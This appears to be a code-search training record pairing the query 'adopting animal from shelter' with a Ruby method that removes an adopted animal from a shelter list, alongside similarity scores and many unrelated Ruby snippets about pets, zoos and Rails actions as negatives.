"def edit_animal(shelter)\n\n #Show the user the list of all animals\n list_all_animals(shelter)\n \n #Ask user for the name of the animal and validate that animal exists\n value = validate_input(shelter.animals) {prompt {\"Enter the name of the animal you want to edit: \"}}\n puts\n\n #Unless user wants to exit\n if value != 'q'\n\n #Store animal to a new variable\n animal = shelter.animals[value]\n\n #Ask user for the value they want to edit\n puts \"Name: #{animal.name}, Breed: #{animal.breed}, Gender: #{animal.gender}, Age: #{animal.age}, Toys: #{animal.toys.join(', ')}, Adoption: #{animal.adoption}\"\n puts\n puts \"What to you want to edit?\"\n\n #Get user input and validate\n choice = validate_simple_input(%w(n b g a t d)) {prompt {\"(n)ame, (b)reed, (g)ender, (a)ge, (t)oys, a(d)option: \"}}\n if choice != 'q'\n case choice\n\n #Edit name\n when 'n'\n res = prompt {\"Enter new name: \"} #Get new name\n animal.name = res #Store the name into new animal variable\n shelter.animals.store(res, animal) #Insert new animal into animals hash\n shelter.animals.delete(value) #Remove animal with old name\n animal = shelter.animals[res] #Assign the animal variable for all animal properties\n when 'b'\n #Get user input and assign changed value to hash\n shelter.animals[value].breed = prompt {\"Enter new breed: \"}\n when 'g'\n #Get user input, validate, and assign changed value to hash\n res = validate_simple_input(%w(m f)) {prompt {\"Enter new gender (m , f): \"}}\n if res != 'q'\n shelter.animals[value].gender = res\n end\n when 'a'\n #Get user input and assign changed value to hash\n shelter.animals[value].age = prompt {\"Enter new age: \"}\n when 't'\n #Get user input and assign changed value to hash\n shelter.animals[value].toys << prompt {\"Enter new toy: \"}\n when 'd'\n #Get user input, validate, and assign changed value to hash\n res = validate_simple_input(%w(y n)) {prompt {\"Enter new adoption status (y , n): \"}}\n if res != 'q'\n shelter.animals[value].adoption = res\n end\n end\n end\n puts \"Edit completed\"\n # Output new animal\n puts \"Name: #{animal.name}, Breed: #{animal.breed}, Gender: #{animal.gender}, Age: #{animal.age}, Toys: #{animal.toys.join(', ')}, Adoption: #{animal.adoption}\"\n else\n puts \"Aborted\"\n end\n \nend",
"def buy_cat(name)\n #knows about its cats\n pets[:cats] << Cat.new(name)\n end",
"def create\n @animal = Animal.new(params[:animal])\n @species = ['Lion', 'Koala', 'Panda']\n @zoo = Zoo.find(params[:zoo_id])\n @animal.zoo_id = params[:zoo_id];\n \n\n respond_to do |format|\n\n if @animal.save\n format.html { redirect_to zoo_animal_path(params[:zoo_id],@animal.id),\n notice: 'animal was successfully created.' }\n format.json { render json: @animal, status: :created,\n location: @animal }\n else\n format.html { render action: \"new\" }\n format.json { render json: @animal.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def add_pet_to_stock(pet_shop, new_pet)\n num_of_pets = pet_shop[:pets].length\n if num_of_pets < 7\n pet_shop[:pets] << {\n name: \"Seventh One\",\n pet_type: :elephant,\n breed: \"Big eared one\",\n price: 500\n }\n end\nend",
"def add_food\n srand\n self << FishFood.new(Position.new([randomFloatSigned*2,1,randomFloatSigned]))\n end",
"def add(food)\n foodList << food\nend",
"def initialize(species)\n @species = species\n @pets = {fishes: [], cats: [], dogs: []}\n @name = name\n @@all << self \n end",
"def eat(food)\n @foods_eaten << food\n end",
"def add_item(topic, id, name, description=nil, rarity=nil)\n @store[name] ||= []\n @store[name] << id\n end",
"def add_pet_to_owner(owner, pet_to_add)\n owner[:pets].push(pet_to_add)\nend",
"def add_pet_to_stock(pet_shop_hash, new_pet_hash)\n\tpet_shop_hash[:pets].push(new_pet_hash)\nend",
"def add_pet_to_stock(pet_shop, new_pet)\n pet_shop[:pets].push(new_pet)\n return pet_shop[:pets].count()\nend",
"def eat(food)\n @foods_eaten.push(food)\n end",
"def add_pet_to_stock(shop_hash, new_pet_hash)\n shop_hash[:pets].push(new_pet_hash)\nend",
"def initialize(animal_name, age, gender, species)\n @animal_name = animal_name\n @age = age\n @gender = gender\n @species = species\n @toys = []\n @pets = {}\n\n end",
"def add_pet_to_stock( pet_shop, new_pet )\n\n return pet_shop[:pets].push( new_pet )\n\nend",
"def add_new_toy(name)\n\tnew_toy = Toy.new(name)\n\tnew_hash = {}\n\tnew_toy.instance_variables.each {|item| new_hash[item.to_s.delete('@')] = new_toy.instance_variable_get(item)}\n\tToys[\"toys\"].push(new_hash)\n\tupdate_file('toys.yaml', Toys)\nend",
"def add_ingredient_by_name(new_ingredient)\n #self.ingredients < Ingredient.find_ingredient_by_name(new_ingredient)\n end"
] |
[
"0.75432557",
"0.71951246",
"0.7174103",
"0.7093694",
"0.7038688",
"0.6964591",
"0.69612527",
"0.6924712",
"0.68881756",
"0.6871566",
"0.6815679",
"0.6702667",
"0.6686723",
"0.66761625",
"0.66618",
"0.6651841",
"0.6645949",
"0.66144353",
"0.6613487",
"0.66080153",
"0.66008663",
"0.65973204",
"0.65861005",
"0.652861",
"0.65049",
"0.6503014",
"0.6487094",
"0.64357764",
"0.6427546",
"0.6406186",
"0.6406011",
"0.63971066",
"0.6396432",
"0.6394785",
"0.6394785",
"0.6393655",
"0.63915205",
"0.6375747",
"0.63533545",
"0.6336517",
"0.6333529",
"0.63327026",
"0.6296884",
"0.6282105",
"0.6280397",
"0.6274934",
"0.62687474",
"0.6261735",
"0.62386155",
"0.6228608",
"0.61984277",
"0.61863273",
"0.61863273",
"0.61863273",
"0.61863273",
"0.61863273",
"0.61846095",
"0.6170981",
"0.6163686",
"0.6160158",
"0.6122381",
"0.61137396",
"0.60945195",
"0.6084369",
"0.60739434",
"0.60539937",
"0.6049008",
"0.6035662",
"0.6033746",
"0.60308903",
"0.6029401",
"0.60058606",
"0.59869677",
"0.5982809",
"0.59741956",
"0.5959581",
"0.595522",
"0.5948175",
"0.5942634",
"0.59366757",
"0.5929308",
"0.59229326",
"0.5907971",
"0.5895697",
"0.589548",
"0.58910924",
"0.58901393",
"0.5887133",
"0.5885439",
"0.5878508",
"0.58719295",
"0.58655584",
"0.58555245",
"0.58489126",
"0.58305687",
"0.5827581",
"0.5826872",
"0.5818646",
"0.58148885",
"0.58124"
] |
0.87673944
|
0
|
adopting animal from shelter
|
def adopt_animal(name)
@animals_in_shelter.each_with_index do |animal, i|
if name == animal.get_animal_name
puts "#{name} has been adopted!"
@animals_in_shelter.delete_at(i)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def adopt_pet_from_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets + 1\n @pets[animal_name] = animal_instance_name\n shelter_instance_name.animals.delete(animal_name)\n end",
"def give_pet_up_to_shelter(animal_name, animal_instance_name, shelter_instance_name)\n @number_of_pets = @number_of_pets - 1\n @pets.delete(animal_name)\n shelter_instance_name.animals[animal_name] = animal_instance_name\n end",
"def add_animal(animal)\n puts \"Animal added to shelter: #{animal.get_animal_info}\"\n @animals_in_shelter.push(animal)\n end",
"def adopt_animal(selection)\n animals = $shelter[:animals]\n client = $shelter[:clients][selection]\n\n user_choice = display_animals(animals)\n\n if user_choice.downcase == \"b\"\n list_clients\n elsif user_choice.to_i == 0\n adopt_animal(selection)\n elsif user_choice.to_i > animals.length\n adopt_animal(selection)\n else\n user_choice = (user_choice.to_i) -1\n\n animal = $shelter[:animals][ user_choice ]\n $shelter[:clients][selection].pets << animal\n puts \"#{client.name} has just adopted #{animal.name} the #{animal.species}\"\n $shelter[:animals].delete_at( user_choice )\n gets\n end\n\n client_details(selection)\n \nend",
"def show\n @adopter = Adopter.new\n @shelter = @animal.shelter\n end",
"def adopt_pet(animal)\n @pets_list.push(animal)\n end",
"def set_animal_shelter\n @animal_shelter = AnimalShelter.find(params[:id])\n end",
"def add_animal(animal)\n # binding.pry\n animal.zoo = self\n end",
"def adopt(name, type)\n idx= @animals.find_index{|a| a.name == name && a.is_a? (type)}\n @animals.delte_at(idx)\n end",
"def adopt_animal(animal, animals, clients)\n puts \"What is your name?\"\n name = gets.chomp.capitalize\n client_name = name.downcase.strip\n # check to see if client name already exists, if it does add to their pets array\n existing_client = clients.find { |client| client.name.downcase.strip == client_name }\n\n # when there is no name it will create a new client\n if existing_client == nil\n\t\tclient_name = Client.new(name)\n\t\tclients << client_name\n\t\tanimals.delete(animal)\n\t\t# as well as adding animal to client, add client(owner) to animal\n\t\tclient_name.pets << animal\n\t\tanimal.owner = client_name\n\telse\n\t # add animal to their pets array\n animals.delete(animal)\n existing_client.pets << animal\n\tend\n\n puts\n puts \"Thank you #{name} for giving #{animal.name} a home :)\"\n puts\nend",
"def buy_dog(name)\n pets[:dogs] << Dog.new(name)\n end",
"def buy_dog(name)\n#know sabout its dogs\n pets[:dogs] << Dog.new(name)\n end",
"def for_adoption(animal)\n @pets_list.pop(animal)\n end",
"def add_animal(animal_hash)\n new_animal = Animal.new(animal_hash)\n new_animal.zoo = self \n end",
"def buy_dog(dog_name)\n dog = Dog.new(dog_name)\n self.pets[:dogs] << dog\n end",
"def sell_pets\n all_animals = self.pets.values\n\n all_animals.each do |species|\n species.each {|pet| pet.mood = \"nervous\"}\n species.clear\n end\n end",
"def add_animal\n animal = Animal.all.sample(1).map {|x| [x.name => [x.preferred_temp, x.location, x.skin, x.colour, x.size, x.motion, x.mouth, x.temprement, x.diet].reduce({}, :merge!)]}.flatten(1) #pick an animal\n p animal\n k1 = inhabited_we.map {|x| x.supports.map {|x| x.keys}.flatten(2)\n p k1\n k2 = animal.map {|k| k.map {|k,v| v.keys}}.flatten(2) \n p k2 #check to see if the environment supports this kind of animal\n while (k1 & k2).empty? \n animal = Animal.all.sample(1).map {|x| [x.name => [x.preferred_temp, x.location, x.skin, x.colour, x.size, x.motion, x.mouth, x.temprement, x.diet].reduce({}, :merge!)]}.flatten(1) \n end \n p animal \n self.world_environments.map {|x| x.animals}.merge!(animal)}\n end",
"def sell_pets\n all_owner_pets = self.dogs + self.cats\n \n all_owner_pets.each do |pet|\n pet.mood = \"nervous\"\n pet.owner = nil\n end \n\n end",
"def create_an_animal(shelter_or_client = animals)\n loop do\n print \"A name for the new Animal? \"\n name = gets.chomp\n\n print \"Its age? \"\n age = gets.chomp.to_i\n\n print \"Its gender? \"\n gender = gets.chomp\n\n print \"Its species? \"\n species = gets.chomp\n\n toys = []\n loop do\n print \"Give/add a Toy to the Animal? (leave blank to stop adding toys) \"\n break if (toy = gets.chomp).empty?\n toys.push(toy)\n end\n\n shelter_or_client << Animal.new(name, age, gender, species, *toys)\n\n print \"Add another Animal? (y/n) \"\n break unless (gets.chomp == \"y\")\n end\n end",
"def sell_pets\n pets = dogs + cats\n\n pets.each do |pet|\n pet.mood = \"nervous\"\n pet.owner = nil\n end\n end",
"def buy_dog(new_name)\n # @dogs << Dog.new(name, self)\n Dog.new(new_name, self)\n end",
"def buy_dog(name)\n dog = Dog.new(name)\n @pets[:dogs] << dog\n end",
"def sell_pets\n pets.each {|kind, moods|\n moods.each {|pets| pets.mood=(\"nervous\")}\n moods.clear\n }\n end",
"def sell_pets\n all_pets = []\n all_pets << self.cats \n all_pets << self.dogs \n all_pets.flatten.map do |each_pet|\n each_pet.mood = \"nervous\"\n each_pet.owner = nil\n end\n end",
"def sell_pets\n#this makes them all nervous\n pets.each do |species, animals|\n animals.each do |animal|\n animal.mood = \"nervous\"\n end\n animals.clear\n end\n end",
"def view_animals(clients, shelter)\n\t# iterates through the array of pets at the shelfter and prints the animal's details\n\tshelter.pets.each { |pet| puts pet.to_s } # why does the shelter's pets array get displayed?\n\t\n\tputs\n\tputs \"Enter the name of the animal you would like to adopt:\"\n\tanimal_selected = gets.chomp.capitalize\n\t# find the animal in the animals array, delete and add as a pet to the client\n\tanimal_to_adopt = shelter.pets.find { |pet| animal_selected == pet.name }\n\tputs \"What is your name?\"\n\tclient_name = gets.chomp\n\tadopt_animal(animal_to_adopt, shelter.pets, clients)\nend",
"def buy_fish(name)\n new_fish = Fish.new(name)\n self.pets[:fishes] << new_fish \n end",
"def buy_dog(dog_name)\n self.dogs << Dog.new(dog_name,self)\n end",
"def turnover_pet\n selected_pet = choose_pet()\n @pets.delete(selected_pet.name.to_sym) # remove the pet from clients pet list\n\n return selected_pet\n end",
"def buy_dog(name)\n dog = Dog.new(name, self)\n @dogs << dog\n end",
"def accept_animal(k, v)\n @animals[k] = v\n end",
"def new_animal\n\tputs \"What is the name of the animal?\"\n\tname = gets.chomp.capitalize\n\tputs \"What species of animal is #{name}?\"\n\tspecies = gets.chomp.downcase\n\t# instantiating new Animal object\n\tanimal = Animal.new(name, species)\n\t# setting animal instance to $my_shelter\n\t$my_shelter.rescue_animal(animal)\nend",
"def register_animal(animals, clients, shelter)\n\t# capture all the details of the animal\n\tputs \"What type of animal is it?\"\n\tspecies = gets.chomp.capitalize\n\tputs \"What breed of \" + species + \" is it?\"\n\tbreed = gets.chomp.capitalize\n\tputs \"What is the sex of the \" + species + \"?\"\n\tgender = gets.chomp.downcase\n\n\t# put a conditional so that the responses are using the right gender\n\tif gender.include?(\"f\")\n\t puts \"What is her name?\"\n\telse\n\t\tputs \"What is his name?\"\n\tend\n\tname = gets.chomp.capitalize\n\tputs \"How old is \" + name + \"?\"\n\tage = gets.chomp.to_i\n\tanimal_to_adopt = name.downcase.strip\n\t# create animal and make shelter the owner\n\tanimal_to_adopt = Animal.new(name, age, gender, species, breed)\n\t# adds the animal to shelter's \n\tshelter.put_up_for_adoption(animal_to_adopt)\n\tif gender.include?(\"f\")\n\t puts \"We'll take \" + name + \" and make sure she finds a great home :)\\n\"\n\telse\n\t\tputs \"We'll take \" + name + \" and make sure he finds a great home :)\\n\"\n\tend\n\t\n\t\n\n \nend",
"def sell_pets\n self.pets[:dogs].each do |dog|\n dog.mood = \"nervous\"\n end\n self.pets[:cats].each do |cat|\n cat.mood = \"nervous\"\n end\n self.pets[:fishes].each do |fish|\n fish.mood = \"nervous\"\n end\n self.pets[:fishes] = []\n self.pets[:dogs] = []\n self.pets[:cats] = []\n end",
"def walk_dogs\n @pets[:dogs][0].mood=(\"happy\")\n end",
"def facilitate_adoption\n puts \"Choose the adopting client by their number.\"\n display_all_clients\n adopting_client_index = gets.chomp.to_i - 1\n adopting_client = clients[adopting_client_index]\n puts \"Choose the animal #{adopting_client.name} wants to adopt.\"\n display_all_animals\n animal_index = gets.chomp.to_i - 1\n animal = animals[animal_index]\n # I want to give the animal to the client, and remove the animal from the shelter\n adopting_client.add_pet(animal)\n animals.delete_at(animal_index)\n puts \"Great, #{adopting_client.name} has given #{animal.name} a new home.\"\n end",
"def create\n @animal = @shelter.animals.build(animal_params)\n respond_with(@shelter)\n end",
"def buy_fish(name)\n new_fish = Fish.new(name)\n if new_fish.class == Fish\n @pets[:fishes] << new_fish\n end \n end",
"def sell_pets\n @pets.each do |type, pet| \n pet.each { |animal| animal.mood = \"nervous\"}\n end\n @pets.clear\n end",
"def make_it_swim(duck)\n duck.swim\nend",
"def adopt_pet(shelter)\n\n puts \"*** Adopt a pet ***\"\n puts \"Please select user:\"\n if shelter.clients.any?\n shelter.clients.each do |key, x|\n puts \"ID: #{key}, Name: #{x.name}\"\n end \n user_id = validate_input(shelter.clients) {prompt {\"Enter user ID: \"}}\n puts\n name = validate_input(shelter.animals) {prompt {\"Enter the name of the pet you want to adopt: \"}}\n if name != 'q'\n shelter.clients.fetch(user_id).pets << shelter.animals.fetch(name).name\n shelter.animals.delete(name)\n puts \"You have a new pet!!\"\n puts \"***Pet removed***\"\n end\n else\n puts \"We have no clients left! We need to rethink our strategy!\"\n end\n \nend",
"def punch(player_name)\n\t # we change the life (hp) of our adversary, and we can because of the hp accessor ! \n\t player_name.hp = player_name.hp - 10\n\n\tend",
"def mix\n\n # Abort if there is no glass inside the replicator.\n return unless glass_inside_replicator\n\n # Draw power if possible and then mix ingredients around.\n if @power && @enterprise.reactor.draw_power(3)\n glass_inside_replicator.inside.contents.shuffle!.compact!\n end\n end",
"def buy_dog(name)\n new_dog = Dog.new(name,self)\n end",
"def buy_dog(dog_name)\n new_dog = Dog.new(dog_name, self)\nend",
"def buy_dog(name)\n Dog.new(name, self)\n end",
"def buy_dog(name)\n Dog.new(name, self)\n end",
"def buy_dog(name)\n Dog.new(name,self)\n end",
"def catch_fish\n inventory[:fish] += @skills[:fish]\n end",
"def buy_fish(fish_name)\n fish = Fish.new(fish_name)\n self.pets[:fishes] << fish\n end",
"def buy_fish(name)\n @pets[:fishes] << Fish.new(name)\n end",
"def shelter_pets(options = {})\n defaults = {'id' => 1}\n options = defaults.merge(options)\n \n @petfinder.shelter_pets(options['id'], options)\n end",
"def add_pet_to_stock(shop,new_animal)\n shop[:pets] << new_animal\nend",
"def escape\n choices = @animals.keys\n @animals[choices[rand(choices.length)]]\n end",
"def add_animal(animal, animals)\n animals << animal\nend",
"def buy_dog(name)\n dog = Dog.new(name, self)\n end",
"def buy_fish(name)\n#knows about its fishes\n pets[:fishes] << Fish.new(name)\n end",
"def give_animal(shelter, animal)\n\n puts \"***Pet's registration details***\"\n animal.name = prompt {\"Enter pet's name:\"}\n\n animal.age = prompt {\"Enter pet's age:\"}\n\n animal.gender = validate_simple_input(%w(m f)) {prompt {\"Enter pet's gender: (m , f)\"}}\n \n if animal.gender != 'q' \n animal.breed = prompt {\"Enter pet's breed:\"}\n\n toys = prompt {\"Enter pet's toys: (separate with a comma)\"}\n animal.toys << toys.split(',')\n \n animal.adoption = validate_simple_input(%w(y n)) {prompt {\"For adoption? (y , n)\"}}\n\n if animal.adoption != 'q'\n shelter.animals[animal.name] = animal\n else\n puts \"Abort. Try agiain.\"\n end\n\n else\n puts \"Abort. Try agiain.\"\n end\n\nend",
"def sell_pets\n pets.each do |species, pet_array| #enumerate through pets hash...\n pet_array.each do |pet_object| #then enumerate through pet_array within pets hash...\n #binding.pry\n pet_object.mood = \"nervous\" #set each pet_object's mood to \"nervous\"\n end\n end #end loop\n self.pets.clear #and reset Owner instance .pets to an empty array, that is returned\n end",
"def make_damage(a_point)\n \tmsj = 'hit'\n\tship = ship_at(a_point)\n\tship.get_hit(a_point)\n\tif(ship.state() == 'sink')\n\t\tremove_to_the_fleet(ship)\n\t\tmsj = 'sink'\n\tend\n\tmsj\t\n end",
"def hatch\n @status = Idle\n @target = nil\n @virility = 0\n babies = []\n rand(MaxBabiesFromEgg).to_i.times {babies << baby_salmon}\n babies\n end",
"def buy_fish(name)\n fish = Fish.new(name)\n @pets[:fishes] << fish\n end",
"def buy_fish(name)\n fish = Fish.new(name)\n @pets[:fishes] << fish\n end",
"def take_fish_from_river(river)\n fish = river.get_fish()\n @stomach << fish if !fish.nil?\n end",
"def buy_dog(dog_name)\n new_dog = Dog.new(dog_name, self)\n # tommy.buy_cat(\"Garfield\")\n end",
"def sell_pets\n Cat.all.collect do |cats|\n cats.mood=\"nervous\"\n cats.owner=nil\n end\n Dog.all.collect do |dogs|\n dogs.mood=\"nervous\"\n dogs.owner=nil\n end\n end",
"def replicate(recipe)\n\n # Setup an instance variable for the recipe\n # so that other methods can see what the recipe is\n @recipe = recipe\n\n # This transports a glass from the cupboard to inside the replicator.\n # If this method is successful, it will return the glass that was\n # transported and @inside_replicator will contain the glass\n # in its contents.\n retrieve_glass\n\n # Setup an instance variable to access the glass.\n @glass = @inside_replicator.contents.first\n\n # Transport each ingredient the recipe calls for\n # from the pantry to the glass.\n # If this method is successful, it should return\n # the ingredients the recipe has listed, and the glass\n # shoud contain the proper ingredients.\n\n # To retrieve the glass from inside the replicator, use:\n # glass_inside_replicator\n # And then to see what's inside the glass, use:\n # glass_inside_replicator.inside.contents\n transport_ingredients_to_glass\n\n # This methods mixes the ingredients in the glass around.\n # It returns nil, even if successful, but if you look at:\n # glass_inside_replicator.inside.contents\n # then you may find the ingredients order has changed.\n # If it's successful, all the ingredients should still be in the glass.\n mix\n\n # This method adjusts the temperature of the contents in the glass.\n # If you read back `glass.temperature`, then it should be set\n # to the temperature the recipe calls for if this method executed properly.\n adjust_temperature\n\n # This method moves the glass from @inside_replicator to @plate\n # so that the character can pick it up and drink it.\n # If it's successful, glass_inside_replicator should be nil\n # and now @plate.contents should contain the glass at\n # the proper temperature and with the proper ingredients.\n transport_glass_to_replicator_plate\n end",
"def add_animal\n species = get_answer_to(\"What is the species?\")\n name = get_answer_to(\"What is the animal\\'s name?\")\n animal = Animals.new(name, species)\n @animals << animal\n end",
"def buy_pet(pet)\n self.pets.push(pet)\n pet.owner = self\n end",
"def another_pet\n\t\tputs \"Would you like to see another pet?\"\n\t\tanswer = gets.chomp.downcase\n\t\tcase answer \n\t\t\twhen \"yes\" then adopt(Pet.new)\n\t\t\twhen \"no\"\n\t\t\t\tputs \"Here is a copy of your adoption records.\"\n\t\t\t\tputs $record_keeper\n\t\t\telse\n\t\t\t\tputs \"Pardon?\"\n\t\t\t\tanother_pet\n\t\tend\n\tend",
"def silly_adjective\n fetch('creature.bird.silly_adjectives')\n end",
"def initialize(species, weight, nickname, zoo)\n @species = species\n @weight = weight\n @nickname = nickname\n @zoo = zoo\n @@all << self\n\n #everytime a new animal object is created, its shoveled into the Animal class\n\nend",
"def eat_fish(fish)\n @stomach << fish\n end",
"def buy_cat(cat_name)\n cat = Cat.new(cat_name)\n self.pets[:cats] << cat\n\n end",
"def sell_pets\n cats.each do |pet|\n pet.mood = \"nervous\"\n pet.owner = nil\n end\n dogs.each do |pet|\n pet.mood = \"nervous\"\n pet.owner = nil\n end\n \n\n end",
"def take \n element = @root.level.maps.first.element_at @position\n \n unless element.is_a? Interactable \n say(\"I can't pick it up!\") \n return\n end\n @inventory << element \n @root.level.maps.first.game_objects.delete(element)\n @root.inventory_updated if defined? @root.inventory_updated\n end",
"def adoption_list(shelter)\n\n if shelter.animals.any?\n puts \"*** List of animals available for adoption ***\"\n shelter.animals.each do |key, x|\n if x.adoption == \"y\"\n puts \"Name: #{key}, Breed: #{x.breed}, Gender: #{x.gender}, Age: #{x.age}, Toys: #{x.toys.join(', ')}, Adoption: #{x.adoption}\"\n end\n end\n else\n puts \"We have no animals left!\"\n end\n\nend",
"def sell_pets\n pets.each do |type, all_type|\n all_type.each do |pet|\n pet.mood = \"nervous\"\n end\n end\n pets.clear\n end",
"def meow # Define a method that allows any instance of Cat to meow\n puts \"meow!\"\n end",
"def on_player_toggle_sneak(evt)\n player = evt.player\n return unless %w[world world_nether].include?(player.location.world.name)\n\n #if player.name == 'ujm'\n # #location_around(add_loc(player.location, 0, 5, 0), 5).map(&:block).each {|b| b.type = Material::AIR if b.type != Material::AIR }\n # location_around_flat(loc_below(player.location), 5).map(&:block).each {|b| b.type = Material::GRASS if b.type != Material::AIR }\n # player.perform_command 'dynmap render'\n #end\n # Superjump\n name = player.name\n @crouching_counter ||= {}\n @crouching_counter[name] ||= 0\n @crouching_countingdown ||= false\n if evt.sneaking?\n # counting up\n @crouching_counter[name] += 1\n later sec(2.0) do\n @crouching_counter[name] -= 1\n end\n if @crouching_counter[name] == 4\n play_sound(add_loc(player.location, 0, 5, 0), Sound::BAT_TAKEOFF, 1.0, 0.0)\n # evt.player.send_message \"superjump!\"\n player.fall_distance = 0.0\n player.velocity = player.velocity.tap {|v| v.set_y jfloat(1.4) }\n end\n\n # map teleport\n if player.location.pitch == 90.0\n item = player.item_in_hand\n if item && item.type == Material::MAP\n map = Bukkit.get_map(item.data.data)\n loc = block2loc(map.world.get_highest_block_at(map.center_x, map.center_z))\n loc = add_loc(loc, 0, 3, 0)\n loc.pitch = 90.0\n loc.yaw = player.location.yaw\n loc.chunk.load\n\n animals = player.get_nearby_entities(2, 2, 2).select {|e|\n Player === e\n }\n move_livings = [player] + animals\n\n play_effect(player.location, Effect::ENDER_SIGNAL, nil)\n play_sound(player.location, Sound::ENDERMAN_TELEPORT , 1.0, 0.5)\n move_livings.each do |e|\n e.velocity = e.velocity.tap {|v| v.set_y 1.0 }\n end\n later sec(0.5) do\n move_livings.select(&:valid?).each do |e|\n e.teleport(loc)\n e.fall_distance = 0.0\n play_effect(player.location, Effect::ENDER_SIGNAL, nil)\n play_sound(loc, Sound::ENDERMAN_TELEPORT , 1.0, 0.5)\n end\n end\n end\n end\n\n ctf_sneaking(player) if @ctf_players.member?(player)\n end\n\n #player_update_speed(evt.player, snp: evt.sneaking?)\n\n #player = evt.player\n #if player.equipment.boots && HARD_BOOTS.include?(player.equipment.boots.type)\n # if !evt.player.on_ground? && evt.sneaking?\n # later 0 do\n # newloc = player.location\n # newloc.x = newloc.x.to_i.to_f - 0.5\n # newloc.z = newloc.z.to_i.to_f - 0.5\n # player.teleport newloc\n # play_effect(newloc, Effect::ENDER_SIGNAL)\n # player.velocity = Vector.new(0.0, -1.0, 0.0)\n # end\n # loc = (1..4).lazy.\n # map {|y| evt.player.location.clone.add(0, -y, 0) }.\n # find {|l| l.block.type != Material::AIR }\n # later sec(0.2) do\n # if loc && loc.block.type == Material::STONE\n # loc.block.break_naturally(ItemStack.new(Material::DIAMOND_PICKAXE))\n # end\n # end\n # end\n #end\n end",
"def buy_fish(name)\n pets[:fishes] << Fish.new(name)\nend",
"def eat_fish_from_river(fish, river)\n @stomach.push(fish)\n river.lose_fish(fish)\n end",
"def set_animal\n @animal = Animal.friendly.find(params[:id])\n end",
"def sell_pets #Owner can sell all its pets, which make them nervous\n # fido = Dog.new(\"Fido\")\n # tabby = Cat.new(\"Tabby\")\n # nemo = Fish.new(\"Nemo\")\n # [fido, tabby, nemo].each {|o| o.mood = \"happy\" }\n # owner.pets = {\n # :dogs => [fido, Dog.new(\"Daisy\")],\n # :fishes => [nemo],\n # :cats => [Cat.new(\"Mittens\"), tabby]\n # }\n # owner.sell_pets\n # owner.pets.each {|type, pets| expect(pets.empty?).to eq(true) }\n # [fido, tabby, nemo].each { |o| expect(o.mood).to eq(\"nervous\") }\n pets.each do |type, animals|\n animals.each do |animal|\n animal.mood = \"nervous\"\n end\n animals.clear\n end\n end",
"def buy_fish(name)\n pets[:fishes] << Fish.new(name)\n end",
"def novel_dup_as_maker\n novel_dup('maker',:maker)\n end",
"def eat(food)\n @stomach << food \n end",
"def mermithization_unstrictured_hersed()\n technonomy(wrangler)\n sock_reassociate_supratemporal(jacket_gloomingly, metrometer, urtica_siegecraft)\n end",
"def make_noise\n puts \"Making a generic animal noise... Meep.\"\n end",
"def spice; end",
"def add_pet(pet)\n @pets[pet.name.to_sym] = pet\n end",
"def feedPet\n @pet.eat\n end",
"def unequip(entity)\n entity.outfit.delete(@type)\n alter_stats(entity, false)\n\n print \"#{entity.name} unequips #{@name}!\\n\\n\"\n end",
"def list_adopted_pets()\n sql = \"SELECT * FROM pets INNER JOIN adoptions ON pets.id = adoptions.pet_id WHERE adoptions.owner_id = $1\"\n values = [@id]\n pets = SqlRunner.run(sql, values)\n return pets.map{|pet| Pet.new(pet)}\n end",
"def embed(parent, attribute, *args)\n this = self.piece(*args)\n this.candy_adopt(parent, attribute)\n end",
"def sell_pets\n self.cats.each{ |each_cat|\n each_cat.mood = \"nervous\"\n each_cat.owner = nil\n }\n \n self.dogs.each{ |each_dog|\n each_dog.mood = \"nervous\"\n each_dog.owner = nil\n }\n\n self.cats.clear\n self.dogs.clear\n end",
"def buy_cat(name)\n #knows about its cats\n pets[:cats] << Cat.new(name)\n end",
"def walk_dogs\n self.pets[:dogs].map do |dogs|\n dogs.mood = \"happy\"\n end\n end",
"def walk_dogs\n self.pets[:dogs].each do |dog|\n dog.mood = \"happy\"\n end\n end",
"def add_initial_animal(animal)\n @animals.push(animal)\n end"
] |
[
"0.75329214",
"0.7177913",
"0.6383488",
"0.63060004",
"0.6286912",
"0.62837917",
"0.60566294",
"0.6022436",
"0.59864265",
"0.5887213",
"0.5849007",
"0.5836315",
"0.5804347",
"0.57516044",
"0.5750267",
"0.57332265",
"0.56880003",
"0.56856674",
"0.5661196",
"0.56493425",
"0.5620883",
"0.5616413",
"0.5601489",
"0.5580208",
"0.5578699",
"0.5575509",
"0.5570215",
"0.556626",
"0.5562603",
"0.549006",
"0.5486588",
"0.5481051",
"0.54770535",
"0.54685855",
"0.54534864",
"0.5442446",
"0.54417974",
"0.5428415",
"0.5426614",
"0.5411729",
"0.5400942",
"0.5374449",
"0.5349171",
"0.5343326",
"0.5338944",
"0.53215504",
"0.53215504",
"0.5317203",
"0.5310041",
"0.53042054",
"0.5299567",
"0.52849483",
"0.5283779",
"0.5280468",
"0.5274127",
"0.5267737",
"0.5260231",
"0.5256719",
"0.5254363",
"0.5253695",
"0.5252432",
"0.52272964",
"0.52272964",
"0.5217997",
"0.5216073",
"0.52106243",
"0.5199757",
"0.5197949",
"0.51916605",
"0.5187047",
"0.51870006",
"0.5182505",
"0.5180981",
"0.5163564",
"0.5162612",
"0.5155395",
"0.51553047",
"0.51545393",
"0.51491565",
"0.5149086",
"0.5143516",
"0.51431465",
"0.51393026",
"0.51307076",
"0.51267385",
"0.5118748",
"0.5106644",
"0.5103282",
"0.51008195",
"0.5096054",
"0.50943834",
"0.50754017",
"0.5070409",
"0.5069926",
"0.506176",
"0.50603735",
"0.5043144",
"0.5036211",
"0.503133",
"0.5030264"
] |
0.6707998
|
2
|
GET /redactions GET /redactions.json
|
def index
@redaction = Redaction.all.order('id DESC').paginate(page: params[:page], per_page: 50)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @redactions = Redaction.all\n end",
"def redactions(options = {})\r\n []\r\n end",
"def index\n @remedy_actions = RemedyAction.all\n end",
"def set_redaction\n @redaction = Redaction.find(params[:id])\n end",
"def set_redaction\n @redaction = Redaction.find(params[:id])\n end",
"def index\n @message_reactions = MessageReaction.all\n end",
"def index\n @user_actions = UserAction.all\n render json: @user_actions\n end",
"def index\n @reds = Red.all\n end",
"def index\n @reds = Red.all\n end",
